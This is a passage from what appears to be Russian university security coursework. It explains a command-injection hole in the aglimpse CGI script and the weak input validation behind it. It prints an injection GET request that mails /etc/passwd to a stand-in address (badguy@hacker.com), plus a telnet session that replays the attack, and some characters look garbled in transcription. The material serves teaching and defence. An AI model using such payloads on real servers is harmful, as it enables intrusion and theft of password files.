Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
СРС_ИПОВС_МСЗИ.doc
Скачиваний:
41
Добавлен:
05.06.2015
Размер:
1.79 Mб
Скачать

Принцип работы

CGI-сценарий aglimpse вызывается с помощью метода HTTP GET. Данный эксплоит пользуется тем, что сценарий недостаточно тщательно проверяет передаваемые ему данные. В результате удается вместо вывода данных на экран произвести выполнение на сервере команд, которые не были предусмотрены программистами.

Эта проблема часто встречается в области CGI-приложений. Создатели приложения считают, что ему будут передаваться только те значения, которые предусмотрены формой. К сожалению, любой может вручную ввести URL в строке адреса, или вручную запустить HTTP-сеанс с помощью telnet. Создатель CGI-приложения никогда не может быть уверен в том, что входные данные будут именно такими, как он ожидает.

Взломщик может вручную скомпоновать строку URL и вставить в нее управляющие символы таким образом, что она будет интерпретирована как команда, выполняемая сервером. Таким образом, если программист будет ожидать, что ввод будет производится только с помощью формы, программа может не обнаружить управляющих символов и передать команды на выполнение.

Подробное описание

Сценарий aglimse можно обмануть и заставить запустить любую программу, если пра­вильно сконструировать передаваемую ему строку запроса. В приведенном ниже примере взломщик заставляет сценарий отправить ему по почте файл /etc/passwd:

GET /cgi-

bin/aglimpse/80|IFS=5;CMD=5mail5badguy\@hacker.com\</etc/passwd;

eval$CMD;echo

В этом файле обычно хранятся зашифрованные пароли пользователей. После того как взломщик получит этот файл, он может попытаться подобрать пароли пользователей. Это только один пример того, как взломщик может использовать aglimpse для дальнейшего взлома системы.

Обратите внимание, что символы @ и < экранированы символом обратной косой черты. Таким образом взломщик добивается того, что эти символы передаются операционной системе и не обрабатываются CGI-приложением. Если бы в приложении проводилась проверка того, что строка имеет правильный формат, и обрабатывались только разрешенные команды, такой взлом можно было бы предотвратить.

Взломщик может создать запрос HTTP GET вручную с помощью telnet, или введя URL в строке адреса своего броузера. Поскольку сервер не может узнать, какая программа подключилась к порту 80, он выполняет aglimpse после получения запроса GET. в котором передаются команды взломщика. В ответе сценария вряд ли будут находиться данные, интересующие взломщика, поскольку команда передается операционной системе и не производит вывода полезных данных. В этом примере информация передается по электронной почте, однако она может передаваться любым другим путем.

Способ применения

С помощью программы telnet, которая поставляется почти со всеми операционными системами, взломщик может подключиться к порту 80 взламываемой системы и провести атаку. Ниже приведен листинг telnet сеанса, в котором проводится взлом.

> telnet 192.168.1.1 80

Trying 192.168.1.1

connected to somehost.com

Escape character is '^l' '

GET /cgi-

bin/aglimpse/80|IFS=5;CMD=5mail5’ $mail’\</etc/passwd,eval$CMD;echo\nHTTP/1'0

server stuff

В данном сеансе пользователь отдал сценарию aglimpse команду отправить ему содержимое файла /etc/passwd по почте. В некоторых системах, особенно старых, в этом файле хранятся зашифрованные пароли пользователей. После получения файла взломщик может попробовать взломать эти пароли. Даже если для хранения паролей используется файл /etc/shadow, взломщик может получить и его. Чтение данных из файла /etc/shadow требует наличия полномочий суперпользователя. Кроме того, aglimpse позволяет получить информацию о настройке системы, чтобы обнаружить другие пробелы в системе безопасности или изменить файлы, принадлежащие тому пользователю, от имени которого запущен Web-сервер.